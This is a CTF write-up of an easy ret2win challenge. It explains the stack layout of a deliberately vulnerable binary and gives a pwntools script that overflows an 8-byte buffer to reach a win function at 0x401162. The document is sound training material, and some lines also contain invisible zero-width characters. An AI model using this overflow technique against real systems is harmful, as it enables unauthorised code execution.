ret

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: return_address_overwrite

Summary

Task: Classic ret2win challenge with 8-byte buffer. Solution: Overflow buffer and saved RBP (16 bytes total) to overwrite return address with win function at 0x401162.

ret — SPB CTF Pwn Season

Description

"Classic ret2win challenge"

Server: nc 109.233.56.90 11604
Binary: ret — ELF 64-bit x86-64, not stripped, with debug_info
Points: 10

Analysis

Classic return address overwrite (ret2win). The binary has no PIE and no stack canary.

Stack Layout:

• Buffer: rbp-0x8 (8 bytes)
• Saved RBP: rbp (8 bytes)
• Return address: rbp+0x8 (8 bytes)
• Total offset to return address: 16 bytes

Binary Analysis:

• win function: 0x401162 — calls system("cat flag")
• read() limit: large enough to overflow to return address ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The program reads input into an 8-byte buffer. By writing 16 bytes, we overwrite the saved RBP (don't care) and the return address with win().

Solution

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *

io = remote('109.233.56.90', 11604)

# 8 bytes buffer + 8 bytes saved RBP + win address
payload = b'A' * 8 + b'B' * 8 + p64(0x401162)
io.sendline(payload)

io.interactive()

Breakdown:

• b'A' * 8 — fills the buffer
• b'B' * 8 — overwrites saved RBP (garbage is fine)
• p64(0x401162) — overwrites return address with win ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍